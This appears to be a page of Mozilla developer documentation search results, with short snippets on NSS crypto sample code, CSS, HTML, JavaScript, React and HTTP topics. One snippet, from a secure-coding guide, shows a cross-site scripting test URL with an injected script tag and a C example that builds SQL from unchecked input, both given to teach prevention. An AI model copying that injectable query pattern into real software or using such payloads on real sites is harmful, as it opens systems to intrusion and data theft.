...ll; } } /* generate the symmetric key */ key = pk11_tokenkeygen(slot, mechanism, null, keysize, keyid, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned char *msg, unsigned int msglen) { secstatus rv = pk11_digestop(ctx, msg, msglen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : digestop()\n"); } return rv; } /* * finali...
...And 24 more matches
Encrypt and decrypt MAC using token
mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" typedef enum { encrypt, decrypt, unknown } commandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4 } headertype; /* * print usage message and exit */ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s -c -d [-z ] " "[-p | -f ] -i -o \n\n", progname); fprintf(stderr, "%-20s specify 'a' for encrypt operation\n\n", "-c "); fprintf(stderr, "%-20s specify 'b' for decrypt operation\n\n", " "); fprintf(stderr, "%-20s specify db directory path\n\n", "-d "); fprintf(std...
...tem* buf) { secstatus rv = pk11_readrawattribute(pk11_typesymkey, key, cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readrawattribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id attribute\n"); return rv; } return rv; } /* * generate a symmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", pk11_gettokenname(slot)); return nu...
...ll; } } /* generate the symmetric key */ key = pk11_tokenkeygen(slot, mechanism, null, keysize, keyid, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned char *msg, unsigned int msglen) { secstatus rv = pk11_digestop(ctx, msg, msglen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : digestop()\n"); } return rv; } /* * finali...
...And 24 more matches
NSS Sample Code Sample_3_Basic Encryption and MACing
n mac-----" #define mac_trailer "-----end mac-----" #define pad_header "-----begin pad-----" #define pad_trailer "-----end pad-----" typedef enum { encrypt, decrypt, unknown } commandtype; typedef enum { symkey = 0, mackey = 1, iv = 2, mac = 3, pad = 4 } headertype; /* print a usage message and exit */ static void usage(const char *progname) { fprintf(stderr, "\nusage: %s -c <a|b> -d <dbdirpath> [-z <noisefilename>] " "[-p <dbpwd> | -f <dbpwdfile>] -i <ipfilename> -o <opfilename>\n\n", progname); fprintf(stderr, "%-20s specify 'a' for encrypt operation\n\n", "-c <a|b>"); fprintf(stderr, "%-20s specify 'b' for decrypt operation\n\n", " "); fprintf(stderr...
...tem* buf) { secstatus rv = pk11_readrawattribute(pk11_typesymkey, key, cka_id, buf); if (rv != secsuccess) { pr_fprintf(pr_stderr, "pk11_readrawattribute returned (%d)\n", rv); pr_fprintf(pr_stderr, "could not read symkey cka_id attribute\n"); return rv; } return rv; } /* * generate a symmetric key */ pk11symkey * generatesymkey(pk11slotinfo *slot, ck_mechanism_type mechanism, int keysize, secitem *keyid, secupwdata *pwdata) { secstatus rv; pk11symkey *key; if (pk11_needlogin(slot)) { rv = pk11_authenticate(slot, pr_true, pwdata); if (rv != secsuccess) { pr_fprintf(pr_stderr, "could not authenticate to token %s.\n", pk11_gettokenname(slot)); return nu...
...ll; } } /* generate the symmetric key */ key = pk11_tokenkeygen(slot, mechanism, null, keysize, keyid, pr_true, pwdata); if (!key) { pr_fprintf(pr_stderr, "symmetric key generation failed \n"); } return key; } /* * macinit */ secstatus macinit(pk11context *ctx) { secstatus rv = pk11_digestbegin(ctx); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : pk11_digestbegin()\n"); } return rv; } /* * macupdate */ secstatus macupdate(pk11context *ctx, unsigned char *msg, unsigned int msglen) { secstatus rv = pk11_digestop(ctx, msg, msglen); if (rv != secsuccess) { pr_fprintf(pr_stderr, "compute mac failed : digestop()\n"); } return rv; } /* * finali...
...And 24 more matches
NSS tools : ssltab
it watches tcp connections and displays the data going by.
...instead of outputting raw data, the command interprets each record as a numbered line of hex values, followed by the same data as ascii characters.
...nonprinting characters are replaced by dots.
...And 24 more matches
NSS tools : ssltap
it watches tcp connections and displays the data going by.
...instead of outputting raw data, the command interprets each record as a numbered line of hex values, followed by the same data as ascii characters.
...nonprinting characters are replaced by dots.
...And 24 more matches
sslcrt.html
if you are inclined to help with this migration, your help would be very much appreciated.
... upgraded documentation may be found in the current nss reference certificate functions chapter 5 certificate functions this chapter describes the functions and related types used to work with a certificate database such as the cert7.db database provided with communicator.
... validating certificates manipulating certificates getting certificate information comparing secitem objects validating certificates cert_verifycertnow cert_verifycertname cert_checkcertvalidtimes nss_cmpcertchainwcanames cert_verifycertnow checks that the current date is within the certificate's validity period and that the ca signature on the certificate is valid.
...And 24 more matches
Secure Development Guidelines
introduction provide developers with information on specific security issues cover common coding mistakes and how they affect a product how to avoid making them how to mitigate them everything is oriented toward c/c++ introduction: gaining control specifics about the underlying architecture, using x86 as an example 6 basic registers (eax, ebx, ecx, edx, edi, esi) 2 stack-related registers (esp, ebp) mark top and bottom of current stack frame status register (eflags) contains various state information instruction pointer (eip) points to register being executed; can’t be modified directly introduction: gaining control (2) eip is modi...
...is exploitable (in some browsers) with a simple request such as: http://www.victim.com?something=<script>alert('oops')</script> xss: prevention escape all dynamic input that will be sent back to the user html encoding &amp; → & &lt; → < &gt; → > &quot; → " &apos; → ' url encoding % encoding java/vbscript escaping depends on the context; in a single-quoted string, escaping ' would suffice ...
...ion occurs when un-trusted input is mixed with a sql string sql is a language used to interact with databases code injection attack that is similar to xss but targeted at sql rather than html and javascript if input is mixed with sql, it could itself become an sql instruction and be used to: query data from the database (passwords) insert value into the database (a user account) change application logic based on results returned by the database sql injection: example snprintf(str, sizeof(str), "select * from account where name ='%s'", name); sqlite3_exec(db, str, null, null, null); sql injection: prevention use parameterized queries insert a marker for every piece of dynamic content so data does not get mixed with sql instructions example: sqlite3...
...And 24 more matches
nsIDOMOfflineResourceList
the nsidomofflineresourcelist interface provides access to the application cache that allows web content's resources to be cached locally for use while offline.
... it includes methods for adding resources to and removing resources from the cache, as well as for enumerating the dynamically managed resource list.
... last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) inherits from: nsisupports method overview void mozadd(in domstring uri); boolean mozhasitem(in domstring uri); domstring mozitem(in unsigned long index); void mozremove(in domstring uri); void swapcache(); void update(); attributes attribute type description mozitems nsidomofflineresourcelist the list of dynamically-managed entries in the offline resource list.
...And 24 more matches
nsISHEntry
docshell/shistory/public/nsishentry.idlscriptable each document or subframe in session history will have a nsishentry associated with it which will hold all information required to recreate the document from history.
... inherits from: nsihistoryentry last changed in gecko 6.0 (firefox 6.0 / thunderbird 6.0 / seamonkey 2.3) implemented by: @mozilla.org/browser/session-history-entry;1.
... to create an instance, use: var shentry = components.classes["@mozilla.org/browser/session-history-entry;1"] .createinstance(components.interfaces.nsishentry); method overview void addchildshell(in nsidocshelltreeitem shell); nsidocshelltreeitem childshellat(in long index); void clearchildshells(); nsishentry clone(); void create(in nsiuri uri, in astring title, in nsiinputstream inputstream, in nsilayouthistorystate layouthistorystate, in nsisupports cachekey, in acstring contenttype, in nsisupports owner, in unsigned long long docshellid, in boolean dynamiccreation); native code only!
...And 24 more matches
IDBDatabase - Web APIs
idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/idbdatabase" target="_top"><rect x="151" y="1" width="110" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="206" y="30" font-size="12px" font-fam...
...ily="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">idbdatabase</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties idbdatabase.name read only a domstring that contains the name of the connected database.
... idbdatabase.transaction() immediately returns a transaction object (idbtransaction) containing the idbtransaction.objectstore method, which you can use to access your object store.
...And 24 more matches
Using the Notifications API - Web APIs
typically, system notifications refer to the operating system's standard notification mechanism: think for example of how a typical desktop system or mobile device broadcasts notifications.
...many examples of this now exist, such as slack.
...this is a common requirement when an api tries to interact with something outside a web page — at least once, the user needs to specifically grant that application permission to present notifications, thereby letting the user control which apps/sites are allowed to display notifications.
...And 24 more matches
PasswordCredential - Web APIs
in supporting browsers an instance of this class may be passed in the credential member of the init object for global fetch.
... passwordcredential.additionaldata secure context one of a formdata instance, a urlsearchparams instance, or null.
...this image is intended for display in a credential chooser.
...And 24 more matches
ARIA: listbox role - Accessibility
the listbox role is used for lists from which a user may select one or more items which are static and, unlike html <select> elements, may contain images.
... description the listbox role is used to identify an element that creates a list from which a user may select one or more static items, similar to the html <select> element.
...each child of a listbox should have a role of option.
...And 24 more matches
background-size - CSS: Cascading Style Sheets
the image can be left to its natural size, stretched, or constrained to fit the available space.
... using a width value only, in which case the height defaults to auto.
... using both a width and a height value, in which case the first sets the width and the second sets the height.
...And 24 more matches
text-transform - CSS: Cascading Style Sheets
it can be used to make text appear in all-uppercase or all-lowercase, or with each word capitalized.
... the text-transform property takes into account language-specific case mapping rules such as the following: in turkic languages, like turkish (tr), azerbaijani (az), crimean tatar (crh), volga tatar (tt), and bashkir (ba), there are two kinds of i, with and without the dot, and two case pairings: i/İ and ı/i.
... in dutch (nl), the ij digraph becomes ij, even with text-transform: capitalize, which only puts the first letter of a word in uppercase.
...And 24 more matches
User input and controls - Developer guides
modern web user input goes beyond simple mouse and keyboard: think of touchscreens for example.
... this article provides recommendations for managing user input and implementing controls in open web apps, along with faqs, real-world examples, and links to further information for anyone needing more detailed information on the underlying technologies.
... relevant apis and events include touch events, pointer lock api, screen orientation api, fullscreen api, drag & drop and more.
...And 24 more matches
Link types - HTML: Hypertext Markup Language
in html, link types indicate the relationship between two documents, in which one links to the other using an <a>, <area>, <form>, or <link> element.
... otherwise, the link defines an alternative page, of one of these types: for another medium, like a handheld device (if the media attribute is set) in another language (if the hreflang attribute is set), in another format, such as a pdf (if the type attribute is set) a combination of these <a>, <area>, <link> <form> archives defines a hyperlink to a document that contains an archive link to this one.
... note: although recognized, the singular archive is incorrect and must be avoided.
...And 24 more matches
Closures - JavaScript
run the code using this jsfiddle link and notice that the alert() statement within the displayname() function successfully displays the value of the name variable, which is declared in its parent function.
... this is an example of lexical scoping, which describes how a parser resolves variable names when functions are nested.
...a closure is the combination of a function and the lexical environment within which that function was declared.
...And 24 more matches
Web Components
web components is a suite of different technologies allowing you to create reusable custom elements — with their functionality encapsulated away from the rest of your code — and utilize them in your web apps.
... concepts and usage as developers, we all know that reusing code as much as possible is a good idea.
... web components aims to solve such problems — it consists of three main technologies, which can be used together to create versatile custom elements with encapsulated functionality that can be reused wherever you like without fear of code collisions.
...And 24 more matches
Backgrounds and borders - Learn web development
in the example below, we have two boxes — one has a background image which is larger than the box, the other has a small image of a star.
...in this case we could use the background-size property, which can take length or percentage values, to size the image to fit inside the background.
... change the length units used to modify the size of the background.
...And 23 more matches
Images, media, and form elements - Learn web development
certain replaced elements, such as images and video, are also described as having an aspect ratio.
... in the example below we have two boxes, both 200 pixels in size: one contains an image which is smaller than 200 pixels — it is smaller than the box and doesn't stretch to fill it.
... as we learned in our previous lesson, a common technique is to make the max-width of an image 100%.
...And 23 more matches
Grids - Learn web development
a grid is a collection of horizontal and vertical lines creating a pattern against which we can line up our design elements.
... they help us to create designs where elements don’t jump around or change width as we move from page to page, providing greater consistency on our websites.
... a grid will typically have columns, rows, and then gaps between each row and column — commonly referred to as gutters.
...And 23 more matches
What is CSS? - Learn web development
for more on browser/default styles, check out the following video: what is css for?
... a document is usually a text file structured using a markup language — html is the most common markup language, but you may also come across other markup languages such as svg or xml.
...browsers, like firefox, chrome, or edge , are designed to present documents visually, for example, on a computer screen, projector or printer.
...And 23 more matches
What is a URL? - Learn web development
it is the mechanism used by browsers to retrieve any published resource on the web.
...in theory, each valid url points to a unique resource.
... such resources can be an html page, a css document, an image, etc.
...And 23 more matches
HTML basics - Learn web development
html consists of a series of elements, which you use to enclose, or wrap, different parts of the content to make it appear a certain way, or act a certain way.
... the content: this is the content of the element, which in this case, is just text.
... note: simple attribute values that don't contain ascii whitespace (or any of the characters " ' ` = < > ) can remain unquoted, but it is recommended that you quote all attribute values, as it makes the code more consistent and understandable.
...And 23 more matches
Accessibility in React - Learn web development
previous overview: client-side javascript frameworks next in our final tutorial article, we'll focus on (pun intended) accessibility, including focus management in react, which can improve usability and reduce confusion for both keyboard-only and screenreader users.
...a user can add a new task, check and uncheck tasks, delete tasks, or edit task names.
... press tab a few more times, and you will see this dashed focus indicator move between each of the filter buttons.
...And 23 more matches
React interactivity: Editing, filtering, conditional rendering - Learn web development
previous overview: client-side javascript frameworks next as we near the end of our react journey (for now at least), we'll add the finishing touches to the main areas of functionality in our todo list app.
...we'll use array.prototype.map() instead of array.prototype.filter() because we want to return a new array with some changes, instead of deleting something from the array.
...first, import usestate into the todo component like we did before with the app component, by updating the first import statement to this: import react, { usestate } from "react"; we'll now use this to set an isediting state, the default state of which should be false.
...And 23 more matches
Simple Instantbird build
build prerequisites hardware requirements: while you can build instantbird on older hardware it can take quite a bit of time to compile on slower machines, and having 8gb of ram is recommended (though you can probably still get away with 4gb).
... setup: depending on your operating system you will need to carry out a different process to prepare your machine.
...you can pick any other location, such as a new directory c:\instantbird-src.
...And 23 more matches
The Firefox codebase: CSS Guidelines
basics here are some basic tips that can optimize reviews if you are changing css: avoid !important but if you have to use it, make sure it's obvious why you're using it (ideally with a comment).
...some examples to avoid: absolutely positioned elements hardcoded values such as: vertical-align: -2px; .
... the reason you should avoid such "hardcoded" values is that, they don't necessarily work for all font-size configurations.
...And 23 more matches
L20n Javascript API
you can listen to the ready event (emitted by the context instance when all the resources have been compiled) and use ctx.getsync and ctx.getentitysync to get translations synchronously.
... alternatively, you can register callbacks to execute when the context is ready (or when globals change and translations need to be updated) with ctx.localize.
...this array (with defaultlocale appended to it if it is not already present) will be used to negotiate the fallback chain for the user.
...And 23 more matches
Working with data
these are javascript constructors; as such, they're callable functions that you can use to create new cdata objects of that type.
... if the type represents a javascript string (that is, an array of jschar characters followed by a null terminator), a copy of that string is created and returned.
... if the type is an array of 8-bit characters and value is a utf-16 string, the new cdata object is the result of converting the utf-16 string to utf-8, with a null terminator.
...And 23 more matches
Accessibility Inspector - Firefox Developer Tools
the accessibility inspector provides a means to access important information exposed to assistive technologies on the current page via the accessibility tree, allowing you to check what's missing or otherwise needs attention.
...this means trying your best to not lock anyone out of accessing information because of any disability they may have, or any other personal circumstances such as the device they are using, the speed of their network connection, or their geographic location or locale.
... here we are mainly talking about exposing information to people with visual disabilities — this is done via the accessibility apis available inside web browsers, which expose information on what roles the different elements on your page play (e.g., are they just text, or are they buttons, links, form elements, etc.?).
...And 23 more matches
Using the Web Audio API - Web APIs
we'll briefly look at some concepts, then study a simple boombox example that allows us to load an audio track, play and pause it, and change its volume and stereo panning.
...if you want to carry out more complex audio processing, as well as playback, the web audio api provides much more power and control.
... check out the final demo here on codepen, or see the source code on github.
...And 23 more matches
An overview of accessible web applications and widgets - Accessibility
since the html4 specification doesn't provide built-in tags that semantically describe these kinds of widgets, developers typically resort to using generic elements such as <div> and <span>.
... while this results in a widget that looks like its desktop counterpart, there usually isn't enough semantic information in the markup to be usable by an assistive technology.
...stock tickers, live twitter feed updates, progress indicators, and similar content modify the dom in ways that an assistive technology (at) may not be aware of.
...And 23 more matches
Border-image generator - CSS: Cascading Style Sheets
v class="property"> <div class="name">scale</div> <div class="ui-input-slider" data-topic="scale" data-unit="%" data-max="300" data-sensivity="10"> </div> </div> <div class="separator"></div> <div class="property"> <div class="name">draggable</div> <div class="ui-checkbox" data-topic='drag-subject'></div> </div> <div class="property right"> <div class="name">section height</div> <div class="ui-input-slider" data-topic="preview-area-height" data-min="400" data-max="1000"> </div> </div> </div> <div id="preview_section" class="group section">...
...id="preview"> </div> </div> <!-- controls --> <div id="controls" class="group section"> <!-- border-image-slice --> <div id="border-slice-control" class="category"> <div class="title"> border-image-slice </div> <div class="property"> <div class="name">fill</div> <div class="ui-checkbox" data-topic='slice-fill'></div> </div> </div> <!-- border-image-width --> <div id="border-width-control" class="category"> <div class="title"> border-image-width </div> </div> <!-- border-image-outset --> <div id="border-outset-control" class="category"> <div class="titl...
...properties" class="category"> <div class="title"> aditional-properties </div> <div class="property"> <div class="name"> repeat-x </div> <div class="ui-dropdown border-repeat" data-topic="image-repeat-x" data-selected="2"> <div data-value="0">repeat</div> <div data-value="0">stretch</div> <div data-value="0">round</div> </div> </div> <div class="property"> <div class="name"> repeat-y </div> <div class="ui-dropdown border-repeat" data-topic="image-repeat-y" data-selected="2"> <div data-value="1">repeat</div> <div d...
...And 23 more matches
Controlling Ratios of Flex Items Along the Main Axis - CSS: Cascading Style Sheets
in this guide we will be exploring the three properties that are applied to flex items, which enable us to control the size and flexibility of the items along the main axis — flex-grow, flex-shrink, and flex-basis.
... a first look our three properties control the following aspects of a flex item's flexibility: flex-grow: how much of the positive free space does this item get?
... flex-shrink: how much negative free space can be removed from this item?
...And 23 more matches
Viewport concepts - CSS: Cascading Style Sheets
content outside the viewport, such as the see also section in this document, is likely to not be visible onscreen until scrolled into view.
... in fullscreen mode, the viewport is the device screen, the window is the browser window, which can be as big as the viewport or smaller, and the document is the website, which can be much taller or wider than the viewport.
...if you query the width or height of the window and document in chrome or firefox, you may get: document.documentelement.clientwidth /* 1200 */ window.innerwidth /* 1200 */ window.outerwidth /* 1200 */ document.documentelement.clientheight /* 800 */ window.innerheight /* 800 */ window.outerheight /* 900 */ there are several dom properties that can help you query viewport size, and other similar lengths: the document element's element.clientwidth is the inner width of a document in css pixels, including padding (but not borders, margins, or vertical scrollbars, if present).
...And 23 more matches
<color> - CSS: Cascading Style Sheets
a <color> may also include an alpha-channel transparency value, indicating how the color should composite with its background.
... a <color> can be defined in any of the following ways: using a keyword (such as blue or transparent) using the rgb cubic-coordinate system (via the #-hexadecimal or the rgb() and rgba() functional notations) using the hsl cylindrical-coordinate system (via the hsl() and hsla() functional notations) note: this article describes the <color> data type in detail.
... color keywords color keywords are case-insensitive identifiers that represent a specific color, such as red, blue, black, or lightseagreen.
...And 23 more matches
display - CSS: Cascading Style Sheets
WebCSSdisplay
the display css property sets whether an element is treated as a block or inline element and the layout used for its children, such as flow layout, grid or flex.
...the outer type sets an element's participation in flow layout; the inner type sets the layout of children.
...keyword values are grouped into six value categories: .container { display: [ <display-outside> || <display-inside> ] | <display-listitem> | <display-internal> | <display-box> | <display-legacy> ; } outside <display-outside> these keywords specify the element’s outer display type, which is essentially its role in flow layout.
...And 23 more matches
Cross-browser audio basics - Developer guides
we do this using the <source> element, which takes the attributes src and type.
...however, that can be a good approach, because the default controls look different among various browsers.
... preload the preload attribute allows you to specify a preference for how the browser preloads the audio, in other words, which part of the file it downloads when the <audio> element is initialized, and before the play button is pressed.
...And 23 more matches
HTTP authentication - HTTP
this page is an introduction to the http framework for authentication, and shows how to restrict access to your server using the http "basic" schema.
... the general http authentication framework rfc 7235 defines the http authentication framework, which can be used by a server to challenge a client request, and by a client to provide authentication information.
... the challenge and response flow works like this: the server responds to a client with a 401 (unauthorized) response status and provides information on how to authorize with a www-authenticate response header containing at least one challenge.
...And 23 more matches
Evolution of HTTP - HTTP
developed by tim berners-lee and his team between 1989-1991, http has seen many changes, keeping most of the simplicity and further shaping its flexibility.
... http has evolved from an early protocol to exchange files in a semi-trusted laboratory environment, to the modern maze of the internet, now carrying images, videos in high resolution and 3d.
... a simple protocol to exchange these documents, the hyperttext transfer protocol (http).
...And 23 more matches
JavaScript data types and data structures - JavaScript
variables in javascript are not directly associated with any particular value type, and any variable can be assigned (and re-assigned) values of all types: let foo = 42; // foo is now a number foo = 'bar'; // foo is now a string foo = true; // foo is now a boolean data and structure types the latest ecmascript standard defines nine types: six data types that are primitives, checked by typeof operator: undefined : typeof instance === "undefined" boolean : typeof instance === "boolean" number : typeof instance === "number" string : typeof instance === "string" bigint : typeof instance === "bigint" symbol : typeof instance === "symbol" null : typeof instance === "object".
... keep in mind the only valuable purpose of typeof operator usage is checking the data type.
... if we wish to check any structural type derived from object it is pointless to use typeof for that, as we will always receive "object".
...And 23 more matches
async function - JavaScript
the async and await keywords enable asynchronous, promise-based behavior to be written in a cleaner style, avoiding the need to explicitly configure promise chains.
... the await mechanism may be used.
... return value a promise which will be resolved with the value returned by the async function, or rejected with an exception thrown from, or uncaught within, the async function.
...And 23 more matches
Using custom elements - Web Components
one of the key features of the web components standard is the ability to create custom elements that encapsulate your functionality on an html page, rather than having to make do with a long, nested batch of elements that together provide a custom page feature.
... note: custom elements are supported by default in firefox, chrome, and edge (76).
... optionally, an options object containing an extends property, which specifies the built-in element your element inherits from, if any (only relevant to customized built-in elements; see the definition below).
...And 23 more matches
Plug-in Development Overview - Gecko Plugin API Reference
plan your plug-in: decide on the services you want the plug-in software to provide and how it will interact with the browser and the special media for which the plug-in is created.
...you'll find an overview of the plug-in api methods in this chapter, as well as separate chapters for all of the major functional areas of the plug-in api.
... when it starts up, the browser checks for plug-in modules for the platform and registers them.
...And 22 more matches
Styling links - Learn web development
previous overview: styling text next when styling links, it is important to understand how to make use of pseudo-classes to style link states effectively, and how to style links for use in common varied interface features such as navigation menus and tabs.
... link states the first thing to understand is the concept of link states — different states that links can exist in, which can be styled using different pseudo-classes: link (unvisited): the default state that a link resides in, when it isn't in any other state.
... hovering a link makes the mouse pointer change to a little hand icon.
...And 22 more matches
How do I start to design my website? - Learn web development
summary when starting with a web project, many people focus on the technical side.
... of course you must be familiar with the technique of your craft, but what really matters is what you want to accomplish.
... yes, it seems obvious, but too many projects fail not from a lack of technical know-how, but from lack of goals and vision.
...And 22 more matches
Creating hyperlinks - Learn web development
if the web browser doesn't know how to display or handle the file, it will ask you if you want to open the file (in which case the duty of opening or handling the file is passed to a suitable native app on the device) or download the file (in which case you can try to deal with it later on).
...the title contains additional information about the link, such as which kind of information the page contains, or things to be aware of on the web site.
... note: a link title is only revealed on mouse hover, which means that people relying on keyboard controls or touchscreens to navigate web pages will have difficulty accessing title information.
...And 22 more matches
Adding features to our bouncing balls demo - Learn web development
alternatively, you could use a site like jsbin or glitch to do your assessment.
... this assessment is quite challenging.
... read the whole assessment before you start coding, and take each step slowly and carefully.
...And 22 more matches
JavaScript object basics - Learn web development
object basics an object is a collection of related data and/or functionality (which usually consists of several variables and functions — which are called properties and methods when they are inside objects.) let's work through an example to understand what they look like.
...but this is an empty object, so we can't really do much with it.
...well, an object is made up of multiple members, each of which has a name (e.g.
...And 22 more matches
Starting our Svelte Todo list app - Learn web development
in this article we will first have a look at the desired functionality of our app, then we'll create a todos.svelte component and put static markup and styles in place, leaving everything ready to start developing our to-do list app features, which we'll go on to in subsequent articles.
... create a file named src/components/todos.svelte with the following content: <h1>svelte to-do list</h1> change the title element in public/index.html to contain the text svelte to-do list: <title>svelte to-do list</title> open src/app.svelte and replace its contents with the following: <script> import todos from './components/todos.svelte' </script> <todos /> in development mode, svelte will issue a warning in the browser console when specifying a prop that doesn't exist in the co...
...mponent; in this case we have a name prop being specified when we instantiate the app component inside src/main.js, which isn't used inside app.
...And 22 more matches
Vue conditional rendering: editing existing todos - Learn web development
<template> <div class="stack-small"> <div class="custom-checkbox"> <input type="checkbox" class="checkbox" :id="id" :checked="isdone" @change="$emit('checkbox-changed')" /> <label :for="id" class="checkbox-label">{{label}}</label> </div> <div class="btn-group"> <button type="button" class="btn" @click="toggletoitemeditform"> edit <span class="visually-hidden">{{label}}</span> </button> <button t...
...if isediting is true, we want to use that flag to display our todoitemeditform instead of the checkbox.
...you can also attach v-if to a <template> tag if you need to conditionally render an entire template.
...And 22 more matches
A bird's-eye view of the Mozilla framework
tiner last updated date: 11/23/05 statement of purpose the purpose of this article is to provide a high-level technical overview of the architecture of the extensible, object-based mozilla application framework.
... it examines what happens when the user performs a simple user interface (ui) action such as clicking a link in the contents panel of the help viewer window shown below.
... the article focuses on the architecture of the overall framework supporting the mozilla application suite, not the architecture of the individual applications themselves.
...And 22 more matches
Mozilla Development Strategies
work on the most important bugs first everyone likes to check in.
... but keep in mind that your checkin rate isn't everything.
... take extra time to do it right the first time it's also better to come up with one really solid, well tested, well commented, clean, easy to maintain piece of code than a bunch of quick fixes.
...And 22 more matches
NSS 3.12.4 release notes
<center> 2009-08-20 </center> <center>newsgroup: mozilla.dev.tech.crypto</center> introduction network security services (nss) 3.12.4 is a patch release for nss 3.12.
...you can check out the source from cvs by cvs co -r nspr_4_8_rtm nspr cvs co -r nss_3_12_4_rtm nss see the documentation section for the build instructions.
... major changes in nss 3.12.4 nss 3.12.4 is the version that we submitted to nist for fips 140-2 validation.
...And 22 more matches
Scripting Java
this article shows how to use rhino to reach beyond javascript into java.
...all the functionality covered in this chapter should thus be considered an extension.
...in javascript, however, scripts exist outside of any package hierarchy.
...And 22 more matches
Using the Places history service
to maintain backwards compatibility, each version has implemented the older interfaces, resulting in functionality spread across many interfaces.
... nsiautocompletesearch: url-bar autocomplete from history from 1.9.1 (firefox3.1) on, don't use any places service on (or after) quit-application has been notified, since the database connection will be closed to allow the last sync, and changes will most likely be lost.
... differences from previous implementations the previous nsglobalhistory service stored one entry for each page in history.
...And 22 more matches
nsACString_internal
class declaration nstsubstring is the most abstract class in the string hierarchy.
... it represents a single contiguous array of characters, which may or may not be null-terminated.
... names: nsastring for wide characters nsacstring for narrow characters many of the accessors on nstsubstring are inlined as an optimization.
...And 22 more matches
nsAString_internal
class declaration nstsubstring is the most abstract class in the string hierarchy.
... it represents a single contiguous array of characters, which may or may not be null-terminated.
... names: nsastring for wide characters nsacstring for narrow characters many of the accessors on nstsubstring are inlined as an optimization.
...And 22 more matches
nsIContentPrefService2
dom/interfaces/base/nsicontentprefservice2.idlscriptable asynchronous api for content preferences 1.0 66 introduced gecko 20.0 inherits from: nsisupports last changed in gecko 20.0 (firefox 20.0 / thunderbird 20.0 / seamonkey 2.17) description content preferences allow the application to associate arbitrary data, or "preferences", with specific domains, or web "content".
... specifically, a content preference is a structure with three values: a domain with which the preference is associated, a name that identifies the preference within its domain, and a value.
...as a consumer of this interface, you might choose to let a global preference override all non- global preferences of the same name, for example, for whatever definition of "override" is appropriate for your use case.
...And 22 more matches
nsIHTMLEditor
inherits from: nsisupports last changed in gecko 5.0 (firefox 5.0 / thunderbird 5.0 / seamonkey 2.2) method overview void adddefaultproperty(in nsiatom aproperty, in astring aattribute, in astring avalue); void addinsertionlistener(in nsicontentfilter infilter); void align(in astring aalign); boolean breakisvisible(in nsidomnode anode); boolean candrag(in nsidomevent aevent); void checkselectionstateforanonymousbuttons(in nsiselection aselection); nsidomelement createanonymouselement(in astring atag, in nsidomnode aparentnode, in astring aanonclass, in boolean aiscreatedhidden); nsidomelement createelementwithdefaults(in astrin...
...oid insertfromdrop(in nsidomevent aevent); void inserthtml(in astring ainputstring); void inserthtmlwithcontext(in astring ainputstring, in astring acontextstr, in astring ainfostr, in astring aflavor, in nsidomdocument asourcedoc, in nsidomnode adestinationnode, in long adestinationoffset, in boolean adeleteselection); void insertlinkaroundselection(in nsidomelement aanchorelement); boolean isanonymouselement(in nsidomelement aelement); void makeorchangelist(in astring alisttype, in boolean entirelist, in astring abullettype); boolean nodeisblock(in nsidomnode node); void pastenoformatting(in long aselectiontype); void rebuilddocumentfromsource(in astring asourcestring); void removealldefaultproperties(); ...
...rty, in astring aattribute, in astring avalue); void setdocumenttitle(in astring atitle); void setinlineproperty(in nsiatom aproperty, in astring aattribute, in astring avalue); void setparagraphformat(in astring aparagraphformat); void updatebaseurl(); attributes attribute type description iscssenabled boolean a boolean which is true is the htmleditor has been instantiated with css knowledge and if the css pref is currently checked.
...And 22 more matches
nsIUpdate
toolkit/mozapps/update/nsiupdateservice.idlscriptable an interface that describes an object representing an available update to the current application - this update may have several available patches from which one must be selected to download and install, for example we might select a binary difference patch first and attempt to apply that, then if the application process fails fall back to downloading a complete file-replace patch.
... 1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsiupdatepatch getpatchat(in unsigned long index); nsidomelement serialize(in nsidomdocument updates); attributes attribute type description appversion astring the application version of this update.
... channel astring the channel used to retrieve this update from the update service.
...And 22 more matches
Plug-in Development Overview - Plugins
plan your plug-in: decide on the services you want the plug-in software to provide and how it will interact with the browser and the special media for which the plug-in is created.
